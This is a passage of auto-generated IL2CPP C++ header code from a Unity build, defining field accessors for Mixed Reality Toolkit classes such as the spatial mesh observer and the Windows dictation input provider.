set_currentCeilingObject_52(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___currentCeilingObject_52 = value; Il2CppCodeGenWriteBarrier((void**)(&___currentCeilingObject_52), (void*)value); } }; struct BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A_StaticFields { public: // UnityEngine.EventSystems.ExecuteEvents/EventFunction`1 Microsoft.MixedReality.Toolkit.Boundary.BaseBoundarySystem::OnVisualizationChanged EventFunction_1_t355F223C9D21277D911E4B55A91C27A9FDAE61AF * ___OnVisualizationChanged_25; public: inline static int32_t get_offset_of_OnVisualizationChanged_25() { return static_cast(offsetof(BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A_StaticFields, ___OnVisualizationChanged_25)); } inline EventFunction_1_t355F223C9D21277D911E4B55A91C27A9FDAE61AF * get_OnVisualizationChanged_25() const { return ___OnVisualizationChanged_25; } inline EventFunction_1_t355F223C9D21277D911E4B55A91C27A9FDAE61AF ** get_address_of_OnVisualizationChanged_25() { return &___OnVisualizationChanged_25; } inline void set_OnVisualizationChanged_25(EventFunction_1_t355F223C9D21277D911E4B55A91C27A9FDAE61AF * value) { ___OnVisualizationChanged_25 = value; Il2CppCodeGenWriteBarrier((void**)(&___OnVisualizationChanged_25), (void*)value); } }; // Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver struct BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740 : public BaseSpatialObserver_tC4B00B85D6900BE7527DAE33EB4ACE2F86F1CD94 { public: // Microsoft.MixedReality.Toolkit.SpatialAwareness.MixedRealitySpatialAwarenessEventData`1 Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::meshEventData MixedRealitySpatialAwarenessEventData_1_tF7D69DC7933E29CC1550C477DDCEBB80CBDF9A9E * ___meshEventData_26; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::observedObjectParent GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___observedObjectParent_27; // Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessMeshDisplayOptions Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::displayOption int32_t ___displayOption_37; // Microsoft.MixedReality.Toolkit.SpatialAwareness.SpatialAwarenessMeshLevelOfDetail Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::levelOfDetail int32_t ___levelOfDetail_38; // System.Collections.Generic.Dictionary`2 Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::meshes Dictionary_2_tBFEF92C709D6CF5C8220E4553DF6064FCB30A49B * ___meshes_39; // System.Int32 Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::meshPhysicsLayer int32_t ___meshPhysicsLayer_40; // System.Boolean Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::k__BackingField bool ___U3CRecalculateNormalsU3Ek__BackingField_41; // System.Int32 Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::k__BackingField int32_t ___U3CTrianglesPerCubicMeterU3Ek__BackingField_42; // UnityEngine.Material Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::occlusionMaterial Material_t8927C00353A72755313F046D0CE85178AE8218EE * ___occlusionMaterial_43; // UnityEngine.PhysicMaterial Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::physicsMaterial PhysicMaterial_tD3D9C84806E95BABF076A74331DF8D9A4B03E3C2 * ___physicsMaterial_44; // UnityEngine.Material Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::visibleMaterial Material_t8927C00353A72755313F046D0CE85178AE8218EE * ___visibleMaterial_45; // UnityEngine.GameObject Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::runtimeSpatialMeshPrefab GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * ___runtimeSpatialMeshPrefab_46; public: inline static int32_t get_offset_of_meshEventData_26() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___meshEventData_26)); } inline MixedRealitySpatialAwarenessEventData_1_tF7D69DC7933E29CC1550C477DDCEBB80CBDF9A9E * get_meshEventData_26() const { return ___meshEventData_26; } inline MixedRealitySpatialAwarenessEventData_1_tF7D69DC7933E29CC1550C477DDCEBB80CBDF9A9E ** get_address_of_meshEventData_26() { return &___meshEventData_26; } inline void set_meshEventData_26(MixedRealitySpatialAwarenessEventData_1_tF7D69DC7933E29CC1550C477DDCEBB80CBDF9A9E * value) { ___meshEventData_26 = value; Il2CppCodeGenWriteBarrier((void**)(&___meshEventData_26), (void*)value); } inline static int32_t get_offset_of_observedObjectParent_27() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___observedObjectParent_27)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_observedObjectParent_27() const { return ___observedObjectParent_27; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_observedObjectParent_27() { return &___observedObjectParent_27; } inline void set_observedObjectParent_27(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___observedObjectParent_27 = value; Il2CppCodeGenWriteBarrier((void**)(&___observedObjectParent_27), (void*)value); } inline static int32_t get_offset_of_displayOption_37() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___displayOption_37)); } inline int32_t get_displayOption_37() const { return ___displayOption_37; } inline int32_t* get_address_of_displayOption_37() { return &___displayOption_37; } inline void set_displayOption_37(int32_t value) { ___displayOption_37 = value; } inline static int32_t get_offset_of_levelOfDetail_38() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___levelOfDetail_38)); } inline int32_t get_levelOfDetail_38() const { return ___levelOfDetail_38; } inline int32_t* get_address_of_levelOfDetail_38() { return &___levelOfDetail_38; } inline void set_levelOfDetail_38(int32_t value) { ___levelOfDetail_38 = value; } inline static int32_t get_offset_of_meshes_39() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___meshes_39)); } inline Dictionary_2_tBFEF92C709D6CF5C8220E4553DF6064FCB30A49B * get_meshes_39() const { return ___meshes_39; } inline Dictionary_2_tBFEF92C709D6CF5C8220E4553DF6064FCB30A49B ** get_address_of_meshes_39() { return &___meshes_39; } inline void set_meshes_39(Dictionary_2_tBFEF92C709D6CF5C8220E4553DF6064FCB30A49B * value) { ___meshes_39 = value; Il2CppCodeGenWriteBarrier((void**)(&___meshes_39), (void*)value); } inline static int32_t get_offset_of_meshPhysicsLayer_40() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___meshPhysicsLayer_40)); } inline int32_t get_meshPhysicsLayer_40() const { return ___meshPhysicsLayer_40; } inline int32_t* get_address_of_meshPhysicsLayer_40() { return &___meshPhysicsLayer_40; } inline void set_meshPhysicsLayer_40(int32_t value) { ___meshPhysicsLayer_40 = value; } inline static int32_t get_offset_of_U3CRecalculateNormalsU3Ek__BackingField_41() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___U3CRecalculateNormalsU3Ek__BackingField_41)); } inline bool get_U3CRecalculateNormalsU3Ek__BackingField_41() const { return ___U3CRecalculateNormalsU3Ek__BackingField_41; } inline bool* get_address_of_U3CRecalculateNormalsU3Ek__BackingField_41() { return &___U3CRecalculateNormalsU3Ek__BackingField_41; } inline void set_U3CRecalculateNormalsU3Ek__BackingField_41(bool value) { ___U3CRecalculateNormalsU3Ek__BackingField_41 = value; } inline static int32_t get_offset_of_U3CTrianglesPerCubicMeterU3Ek__BackingField_42() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___U3CTrianglesPerCubicMeterU3Ek__BackingField_42)); } inline int32_t get_U3CTrianglesPerCubicMeterU3Ek__BackingField_42() const { return ___U3CTrianglesPerCubicMeterU3Ek__BackingField_42; } inline int32_t* get_address_of_U3CTrianglesPerCubicMeterU3Ek__BackingField_42() { return &___U3CTrianglesPerCubicMeterU3Ek__BackingField_42; } inline void set_U3CTrianglesPerCubicMeterU3Ek__BackingField_42(int32_t value) { ___U3CTrianglesPerCubicMeterU3Ek__BackingField_42 = value; } inline static int32_t get_offset_of_occlusionMaterial_43() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___occlusionMaterial_43)); } inline Material_t8927C00353A72755313F046D0CE85178AE8218EE * get_occlusionMaterial_43() const { return ___occlusionMaterial_43; } inline Material_t8927C00353A72755313F046D0CE85178AE8218EE ** get_address_of_occlusionMaterial_43() { return &___occlusionMaterial_43; } inline void set_occlusionMaterial_43(Material_t8927C00353A72755313F046D0CE85178AE8218EE * value) { ___occlusionMaterial_43 = value; Il2CppCodeGenWriteBarrier((void**)(&___occlusionMaterial_43), (void*)value); } inline static int32_t get_offset_of_physicsMaterial_44() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___physicsMaterial_44)); } inline PhysicMaterial_tD3D9C84806E95BABF076A74331DF8D9A4B03E3C2 * get_physicsMaterial_44() const { return ___physicsMaterial_44; } inline PhysicMaterial_tD3D9C84806E95BABF076A74331DF8D9A4B03E3C2 ** get_address_of_physicsMaterial_44() { return &___physicsMaterial_44; } inline void set_physicsMaterial_44(PhysicMaterial_tD3D9C84806E95BABF076A74331DF8D9A4B03E3C2 * value) { ___physicsMaterial_44 = value; Il2CppCodeGenWriteBarrier((void**)(&___physicsMaterial_44), (void*)value); } inline static int32_t get_offset_of_visibleMaterial_45() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___visibleMaterial_45)); } inline Material_t8927C00353A72755313F046D0CE85178AE8218EE * get_visibleMaterial_45() const { return ___visibleMaterial_45; } inline Material_t8927C00353A72755313F046D0CE85178AE8218EE ** get_address_of_visibleMaterial_45() { return &___visibleMaterial_45; } inline void set_visibleMaterial_45(Material_t8927C00353A72755313F046D0CE85178AE8218EE * value) { ___visibleMaterial_45 = value; Il2CppCodeGenWriteBarrier((void**)(&___visibleMaterial_45), (void*)value); } inline static int32_t get_offset_of_runtimeSpatialMeshPrefab_46() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740, ___runtimeSpatialMeshPrefab_46)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_runtimeSpatialMeshPrefab_46() const { return ___runtimeSpatialMeshPrefab_46; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_runtimeSpatialMeshPrefab_46() { return &___runtimeSpatialMeshPrefab_46; } inline void set_runtimeSpatialMeshPrefab_46(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___runtimeSpatialMeshPrefab_46 = value; Il2CppCodeGenWriteBarrier((void**)(&___runtimeSpatialMeshPrefab_46), (void*)value); } }; struct BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740_StaticFields { public: // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::ApplyUpdatedMeshDisplayOptionPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___ApplyUpdatedMeshDisplayOptionPerfMarker_28; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::ApplyUpdatedMeshPhysicsPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___ApplyUpdatedMeshPhysicsPerfMarker_29; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::ApplyUpdatedPhysicsLayerPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___ApplyUpdatedPhysicsLayerPerfMarker_30; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::OnMeshAddedPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___OnMeshAddedPerfMarker_31; // UnityEngine.EventSystems.ExecuteEvents/EventFunction`1> Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::OnMeshAdded EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E * ___OnMeshAdded_32; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::OnMeshUpdatedPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___OnMeshUpdatedPerfMarker_33; // UnityEngine.EventSystems.ExecuteEvents/EventFunction`1> Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::OnMeshUpdated EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E * ___OnMeshUpdated_34; // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::OnMeshRemovedPerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___OnMeshRemovedPerfMarker_35; // UnityEngine.EventSystems.ExecuteEvents/EventFunction`1> Microsoft.MixedReality.Toolkit.SpatialAwareness.BaseSpatialMeshObserver::OnMeshRemoved EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E * ___OnMeshRemoved_36; public: inline static int32_t get_offset_of_ApplyUpdatedMeshDisplayOptionPerfMarker_28() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740_StaticFields, ___ApplyUpdatedMeshDisplayOptionPerfMarker_28)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_ApplyUpdatedMeshDisplayOptionPerfMarker_28() const { return ___ApplyUpdatedMeshDisplayOptionPerfMarker_28; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_ApplyUpdatedMeshDisplayOptionPerfMarker_28() { return &___ApplyUpdatedMeshDisplayOptionPerfMarker_28; } inline void set_ApplyUpdatedMeshDisplayOptionPerfMarker_28(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___ApplyUpdatedMeshDisplayOptionPerfMarker_28 = value; } inline static int32_t get_offset_of_ApplyUpdatedMeshPhysicsPerfMarker_29() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740_StaticFields, ___ApplyUpdatedMeshPhysicsPerfMarker_29)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_ApplyUpdatedMeshPhysicsPerfMarker_29() const { return ___ApplyUpdatedMeshPhysicsPerfMarker_29; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_ApplyUpdatedMeshPhysicsPerfMarker_29() { return &___ApplyUpdatedMeshPhysicsPerfMarker_29; } inline void set_ApplyUpdatedMeshPhysicsPerfMarker_29(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___ApplyUpdatedMeshPhysicsPerfMarker_29 = value; } inline static int32_t get_offset_of_ApplyUpdatedPhysicsLayerPerfMarker_30() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740_StaticFields, ___ApplyUpdatedPhysicsLayerPerfMarker_30)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_ApplyUpdatedPhysicsLayerPerfMarker_30() const { return ___ApplyUpdatedPhysicsLayerPerfMarker_30; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_ApplyUpdatedPhysicsLayerPerfMarker_30() { return &___ApplyUpdatedPhysicsLayerPerfMarker_30; } inline void set_ApplyUpdatedPhysicsLayerPerfMarker_30(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___ApplyUpdatedPhysicsLayerPerfMarker_30 = value; } inline static int32_t get_offset_of_OnMeshAddedPerfMarker_31() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740_StaticFields, ___OnMeshAddedPerfMarker_31)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_OnMeshAddedPerfMarker_31() const { return ___OnMeshAddedPerfMarker_31; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_OnMeshAddedPerfMarker_31() { return &___OnMeshAddedPerfMarker_31; } inline void set_OnMeshAddedPerfMarker_31(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___OnMeshAddedPerfMarker_31 = value; } inline static int32_t get_offset_of_OnMeshAdded_32() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740_StaticFields, ___OnMeshAdded_32)); } inline EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E * get_OnMeshAdded_32() const { return ___OnMeshAdded_32; } inline EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E ** get_address_of_OnMeshAdded_32() { return &___OnMeshAdded_32; } inline void set_OnMeshAdded_32(EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E * value) { ___OnMeshAdded_32 = value; Il2CppCodeGenWriteBarrier((void**)(&___OnMeshAdded_32), (void*)value); } inline static int32_t get_offset_of_OnMeshUpdatedPerfMarker_33() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740_StaticFields, ___OnMeshUpdatedPerfMarker_33)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_OnMeshUpdatedPerfMarker_33() const { return ___OnMeshUpdatedPerfMarker_33; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_OnMeshUpdatedPerfMarker_33() { return &___OnMeshUpdatedPerfMarker_33; } inline void set_OnMeshUpdatedPerfMarker_33(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___OnMeshUpdatedPerfMarker_33 = value; } inline static int32_t get_offset_of_OnMeshUpdated_34() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740_StaticFields, ___OnMeshUpdated_34)); } inline EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E * get_OnMeshUpdated_34() const { return ___OnMeshUpdated_34; } inline EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E ** get_address_of_OnMeshUpdated_34() { return &___OnMeshUpdated_34; } inline void set_OnMeshUpdated_34(EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E * value) { ___OnMeshUpdated_34 = value; Il2CppCodeGenWriteBarrier((void**)(&___OnMeshUpdated_34), (void*)value); } inline static int32_t get_offset_of_OnMeshRemovedPerfMarker_35() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740_StaticFields, ___OnMeshRemovedPerfMarker_35)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_OnMeshRemovedPerfMarker_35() const { return ___OnMeshRemovedPerfMarker_35; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_OnMeshRemovedPerfMarker_35() { return &___OnMeshRemovedPerfMarker_35; } inline void set_OnMeshRemovedPerfMarker_35(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___OnMeshRemovedPerfMarker_35 = value; } inline static int32_t get_offset_of_OnMeshRemoved_36() { return static_cast(offsetof(BaseSpatialMeshObserver_tCF4769C1503211D10D446F943142BF14DC571740_StaticFields, ___OnMeshRemoved_36)); } inline EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E * get_OnMeshRemoved_36() const { return ___OnMeshRemoved_36; } inline EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E ** get_address_of_OnMeshRemoved_36() { return &___OnMeshRemoved_36; } inline void set_OnMeshRemoved_36(EventFunction_1_t6E607F251F21D260A8CF479A2016C69BE32BF24E * value) { ___OnMeshRemoved_36 = value; Il2CppCodeGenWriteBarrier((void**)(&___OnMeshRemoved_36), (void*)value); } }; // Microsoft.MixedReality.Toolkit.WindowsMixedReality.BaseWindowsMixedRealityCameraSettings struct BaseWindowsMixedRealityCameraSettings_tF049E9AFD9544F4C5FAA918FAAAA5936AFA10D98 : public BaseCameraSettingsProvider_t499DB82132811BA940D9337482403F79CA08D979 { public: // Microsoft.MixedReality.Toolkit.WindowsMixedReality.WindowsMixedRealityReprojectionUpdater Microsoft.MixedReality.Toolkit.WindowsMixedReality.BaseWindowsMixedRealityCameraSettings::reprojectionUpdater WindowsMixedRealityReprojectionUpdater_t88EA6DECA4D02D71B2C00B02938FEED0ABB37434 * ___reprojectionUpdater_16; // Microsoft.MixedReality.Toolkit.CameraSystem.ProjectionOverride Microsoft.MixedReality.Toolkit.WindowsMixedReality.BaseWindowsMixedRealityCameraSettings::projectionOverride ProjectionOverride_t4DF569F4323CCAE299E1DF0A1EAC2D923195FFC4 * ___projectionOverride_17; public: inline static int32_t get_offset_of_reprojectionUpdater_16() { return static_cast(offsetof(BaseWindowsMixedRealityCameraSettings_tF049E9AFD9544F4C5FAA918FAAAA5936AFA10D98, ___reprojectionUpdater_16)); } inline WindowsMixedRealityReprojectionUpdater_t88EA6DECA4D02D71B2C00B02938FEED0ABB37434 * get_reprojectionUpdater_16() const { return ___reprojectionUpdater_16; } inline WindowsMixedRealityReprojectionUpdater_t88EA6DECA4D02D71B2C00B02938FEED0ABB37434 ** get_address_of_reprojectionUpdater_16() { return &___reprojectionUpdater_16; } inline void set_reprojectionUpdater_16(WindowsMixedRealityReprojectionUpdater_t88EA6DECA4D02D71B2C00B02938FEED0ABB37434 * value) { ___reprojectionUpdater_16 = value; Il2CppCodeGenWriteBarrier((void**)(&___reprojectionUpdater_16), (void*)value); } inline static int32_t get_offset_of_projectionOverride_17() { return static_cast(offsetof(BaseWindowsMixedRealityCameraSettings_tF049E9AFD9544F4C5FAA918FAAAA5936AFA10D98, ___projectionOverride_17)); } inline ProjectionOverride_t4DF569F4323CCAE299E1DF0A1EAC2D923195FFC4 * get_projectionOverride_17() const { return ___projectionOverride_17; } inline ProjectionOverride_t4DF569F4323CCAE299E1DF0A1EAC2D923195FFC4 ** get_address_of_projectionOverride_17() { return &___projectionOverride_17; } inline void set_projectionOverride_17(ProjectionOverride_t4DF569F4323CCAE299E1DF0A1EAC2D923195FFC4 * value) { ___projectionOverride_17 = value; Il2CppCodeGenWriteBarrier((void**)(&___projectionOverride_17), (void*)value); } }; struct BaseWindowsMixedRealityCameraSettings_tF049E9AFD9544F4C5FAA918FAAAA5936AFA10D98_StaticFields { public: // System.Boolean Microsoft.MixedReality.Toolkit.WindowsMixedReality.BaseWindowsMixedRealityCameraSettings::isTryGetViewConfigurationSupported bool ___isTryGetViewConfigurationSupported_15; public: inline static int32_t get_offset_of_isTryGetViewConfigurationSupported_15() { return static_cast(offsetof(BaseWindowsMixedRealityCameraSettings_tF049E9AFD9544F4C5FAA918FAAAA5936AFA10D98_StaticFields, ___isTryGetViewConfigurationSupported_15)); } inline bool get_isTryGetViewConfigurationSupported_15() const { return ___isTryGetViewConfigurationSupported_15; } inline bool* get_address_of_isTryGetViewConfigurationSupported_15() { return &___isTryGetViewConfigurationSupported_15; } inline void set_isTryGetViewConfigurationSupported_15(bool value) { ___isTryGetViewConfigurationSupported_15 = value; } }; // Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider struct WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050 : public BaseInputDeviceManager_t15E7DE31148738AE2B5D15A47C36FF48DDB1E3C6 { public: // System.Boolean Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::k__BackingField bool ___U3CIsListeningU3Ek__BackingField_21; // System.Boolean Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::hasFailed bool ___hasFailed_24; // System.Boolean Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::hasListener bool ___hasListener_25; // System.Boolean Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::isTransitioning bool ___isTransitioning_26; // Microsoft.MixedReality.Toolkit.Input.IMixedRealityInputSource Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::inputSource RuntimeObject* ___inputSource_27; // System.Text.StringBuilder Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::textSoFar StringBuilder_t * ___textSoFar_28; // System.String Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::deviceName String_t* ___deviceName_29; // System.Int32 Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::samplingRate int32_t ___samplingRate_30; // System.String Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::dictationResult String_t* ___dictationResult_31; // UnityEngine.AudioClip Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::dictationAudioClip AudioClip_t16D2E573E7CC1C5118D8EE0F0692D46866A1C0EE * ___dictationAudioClip_32; // UnityEngine.WaitUntil Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::waitUntilPhraseRecognitionSystemHasStarted WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * ___waitUntilPhraseRecognitionSystemHasStarted_34; // UnityEngine.WaitUntil Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::waitUntilPhraseRecognitionSystemHasStopped WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * ___waitUntilPhraseRecognitionSystemHasStopped_35; // UnityEngine.WaitUntil Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::waitUntilDictationRecognizerHasStarted WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * ___waitUntilDictationRecognizerHasStarted_36; // UnityEngine.WaitUntil Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider::waitUntilDictationRecognizerHasStopped WaitUntil_t2BCFEEF9372AFA754955A9733004060D1F609F21 * ___waitUntilDictationRecognizerHasStopped_37; public: inline static int32_t get_offset_of_U3CIsListeningU3Ek__BackingField_21() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___U3CIsListeningU3Ek__BackingField_21)); } inline bool get_U3CIsListeningU3Ek__BackingField_21() const { return ___U3CIsListeningU3Ek__BackingField_21; } inline bool* get_address_of_U3CIsListeningU3Ek__BackingField_21() { return &___U3CIsListeningU3Ek__BackingField_21; } inline void set_U3CIsListeningU3Ek__BackingField_21(bool value) { ___U3CIsListeningU3Ek__BackingField_21 = value; } inline static int32_t get_offset_of_hasFailed_24() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___hasFailed_24)); } inline bool get_hasFailed_24() const { return ___hasFailed_24; } inline bool* get_address_of_hasFailed_24() { return &___hasFailed_24; } inline void set_hasFailed_24(bool value) { ___hasFailed_24 = value; } inline static int32_t get_offset_of_hasListener_25() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___hasListener_25)); } inline bool get_hasListener_25() const { return ___hasListener_25; } inline bool* get_address_of_hasListener_25() { return &___hasListener_25; } inline void set_hasListener_25(bool value) { ___hasListener_25 = value; } inline static int32_t get_offset_of_isTransitioning_26() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___isTransitioning_26)); } inline bool get_isTransitioning_26() const { return ___isTransitioning_26; } inline bool* get_address_of_isTransitioning_26() { return &___isTransitioning_26; } inline void set_isTransitioning_26(bool value) { ___isTransitioning_26 = value; } inline static int32_t get_offset_of_inputSource_27() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___inputSource_27)); } inline RuntimeObject* get_inputSource_27() const { return ___inputSource_27; } inline RuntimeObject** get_address_of_inputSource_27() { return &___inputSource_27; } inline void set_inputSource_27(RuntimeObject* value) { ___inputSource_27 = value; Il2CppCodeGenWriteBarrier((void**)(&___inputSource_27), (void*)value); } inline static int32_t get_offset_of_textSoFar_28() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___textSoFar_28)); } inline StringBuilder_t * get_textSoFar_28() const { return ___textSoFar_28; } inline StringBuilder_t ** get_address_of_textSoFar_28() { return &___textSoFar_28; } inline void set_textSoFar_28(StringBuilder_t * value) { ___textSoFar_28 = value; Il2CppCodeGenWriteBarrier((void**)(&___textSoFar_28), (void*)value); } inline static int32_t get_offset_of_deviceName_29() { return static_cast(offsetof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050, ___deviceName_29)); } inline String_t* get_deviceName_29() const { return ___deviceName_29; } inline String_t** get_address_of_deviceName_29() { return &___deviceName_29; } inline void 